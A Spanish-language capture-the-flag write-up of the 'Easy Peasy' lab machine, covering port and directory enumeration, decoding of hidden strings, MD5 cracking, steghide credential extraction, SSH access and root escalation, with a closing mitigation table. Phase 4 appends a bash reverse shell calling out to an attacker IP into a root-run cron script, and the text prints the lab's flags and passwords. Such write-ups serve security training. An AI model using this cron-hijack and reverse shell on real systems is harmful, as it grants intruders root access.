Easy Peasy CTF

Fase 1 — Enumeración
Fase 1.1 — Nmap Full Port Scan
Comando ejecutado:
# [MÁQUINA ATACANTE]
nmap -p- <TARGET_IP>
nmap -sC -sV -p 80,6498,65524 <TARGET_IP>
Puertos descubiertos:
| Puerto | Servicio | Versión |
|---|---|---|
| 80/tcp | HTTP | nginx 1.16.1 |
| 6498/tcp | SSH | OpenSSH 7.6p1 Ubuntu |
| 65524/tcp | HTTP | Apache 2.4.43 Ubuntu |
Hallazgos:
- nginx en puerto 80 → página por defecto con directorio
/hidden - SSH en puerto no estándar 6498 → importante para acceso posterior
- Apache en puerto 65524 → segunda web con flags ocultas

Fase 1.2 — Gobuster en puerto 80 (nginx)
Comando ejecutado:
# [MÁQUINA ATACANTE]
gobuster dir -u http://<TARGET_IP> -w /usr/share/wordlists/dirb/common.txt -t 50
Hallazgos:
/hidden→ Status 301 → directorio oculto descubierto

Fase 1.3 — Gobuster dentro de /hidden
Comando ejecutado:
# [MÁQUINA ATACANTE]
gobuster dir -u http://<TARGET_IP>/hidden -w /usr/share/wordlists/dirb/common.txt -t 50
Hallazgos:
/hidden/whatever→ Status 301- Código fuente →
<p hidden="">ZmxhZ3tmMXJzN19mbDRnfQ==</p>→ string en base64

Fase 1.4 — Decodificar Flag 1 (base64)
Comando ejecutado:
# [MÁQUINA ATACANTE]
echo "ZmxhZ3tmMXJzN19mbDRnfQ==" | base64 -d
Flag 1:
flag{f1rs7_fl4g}

Fase 2 — Enumeración Puerto 65524 (Apache)
Fase 2.1 — robots.txt en puerto 65524
Comando ejecutado:
# [MÁQUINA ATACANTE]
curl http://<TARGET_IP>:65524/robots.txt
Hallazgos:
- Hash MD5 encontrado:
a18672860d0510e5ab6699730763b250

Fase 2.2 — Crackear hash MD5 → Flag 2
Comandos ejecutados:
# [MÁQUINA ATACANTE]
echo "a18672860d0510e5ab6699730763b250" > hash.txt
john hash.txt --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt
Lookup en md5hashing.net:
https://md5hashing.net/hash/md5/a18672860d0510e5ab6699730763b250
Flag 2:
flag{1m_s3c0nd_fl4g}


Fase 2.3 — Código fuente Apache → Flag 3 + string base62
Comando ejecutado:
# [MÁQUINA ATACANTE]
curl http://<TARGET_IP>:65524/ | grep -i "flag\|hidden\|ba"
Hallazgos:
- Flag 3:
flag{9fdafbd64c47471a8f54cd3fc64cd312} - String en base62:
ObsJmP173N2X6dOrAgEAL0Vu→ directorio oculto

Fase 2.4 — Decodificar base62 → Directorio oculto
Decodificación online en dcode.fr:
ObsJmP173N2X6dOrAgEAL0Vu → /n0th1ng3ls3m4tt3r
Hallazgos:
- Directorio oculto:
/n0th1ng3ls3m4tt3r - Hash SHA-256 en la página:
940d71e8655ac41efb5f8ab850668505b86dd64186a66e57d1483e7f5fe6fd81

Fase 2.5 — Directorio oculto
Hallazgos:
- Imagen:
binarycodepixabay.jpg→ candidata a esteganografía - Passphrase:
mypasswordforthatjob

Fase 2.6 — Extracción esteganográfica con steghide
Comandos ejecutados:
# [MÁQUINA ATACANTE]
wget http://<TARGET_IP>:65524/n0th1ng3ls3m4tt3r/binarycodepixabay.jpg
steghide extract -sf binarycodepixabay.jpg -p mypasswordforthatjob
cat secrettext.txt
Hallazgos:
- Usuario:
boring - Contraseña en binario → requiere decodificación

Fase 2.7 — Decodificar binario → Contraseña de boring
Comando ejecutado:
# [MÁQUINA ATACANTE]
python3 -c "
b = '01101001 01100011 01101111 01101110 01110110 01100101 01110010 01110100 01100101 01100100 01101101 01111001 01110000 01100001 01110011 01110011 01110111 01101111 01110010 01100100 01110100 01101111 01100010 01101001 01101110 01100001 01110010 01111001'
print(''.join([chr(int(x,2)) for x in b.split()]))"
Contraseña de boring:
iconvertedmypasswordtobinary

Fase 3 — Foothold
Fase 3.1 — SSH como boring + User Flag (ROT13)
Comando ejecutado:
# [MÁQUINA ATACANTE]
ssh boring@<TARGET_IP> -p 6498
# Password: iconvertedmypasswordtobinary
whoami
cat user.txt
Hallazgos:
- Acceso exitoso como
boring - User flag cifrada en ROT13:
synt{a0jvgf33zfa0ez4y}

Fase 3.2 — Decodificar ROT13 → User Flag real
Comando ejecutado:
# [MÁQUINA OBJETIVO - como boring]
echo "synt{a0jvgf33zfa0ez4y}" | tr 'A-Za-z' 'N-ZA-Mn-za-m'
User Flag:
flag{n0wits33msn0rm4l}

Fase 4 — Escalada de Privilegios
Fase 4.1 — Identificación del Vector PrivEsc (crontab)
Comando ejecutado:
# [MÁQUINA OBJETIVO - como boring]
cat /etc/crontab
Hallazgo crítico:
| Tiempo | Usuario | Comando |
|---|---|---|
| * * * * * | root | cd /var/www/ && sudo bash .mysecretcronjob.sh |
- Root ejecuta
.mysecretcronjob.shcada minuto 🔴 - El archivo tiene permisos de escritura para
boring

Fase 4.2 — Inyección de Reverse Shell en el cronjob
Paso 1 — Listener en Kali:
# [MÁQUINA ATACANTE]
nc -lvnp 4444
Paso 2 — Inyectar reverse shell:
# [MÁQUINA OBJETIVO - como boring]
echo "bash -i >& /dev/tcp/192.168.143.6/4444 0>&1" >> /var/www/.mysecretcronjob.sh
cat /var/www/.mysecretcronjob.sh
Esperar máximo 1 minuto → cronjob ejecuta el script → reverse shell recibida como root.

Fase 4.3 — Root Flag
Comandos ejecutados:
# [MÁQUINA OBJETIVO - como ROOT]
whoami
find / -name "*.txt" 2>/dev/null | grep root
cat /root/.root.txt
Root Flag:
flag{63a9f0ea7bb98050796b649e85481845}

V. Mitigation
| Vulnerabilidad | Recomendación |
|---|---|
| Flags ocultas en código fuente HTML | Nunca almacenar información sensible en el frontend |
| Hash MD5 crackeable en robots.txt | Usar hashes modernos como bcrypt o SHA-512 |
| Datos sensibles vía steganografía | No almacenar credenciales en archivos multimedia |
| SSH en puerto no estándar sin otras medidas | Implementar autenticación por clave + fail2ban |
| Cronjob con permisos de escritura para usuario no privilegiado | Restringir permisos de scripts ejecutados por root (chmod 700) |
| Contraseña codificada en binario | Usar gestores de contraseñas y cifrado real |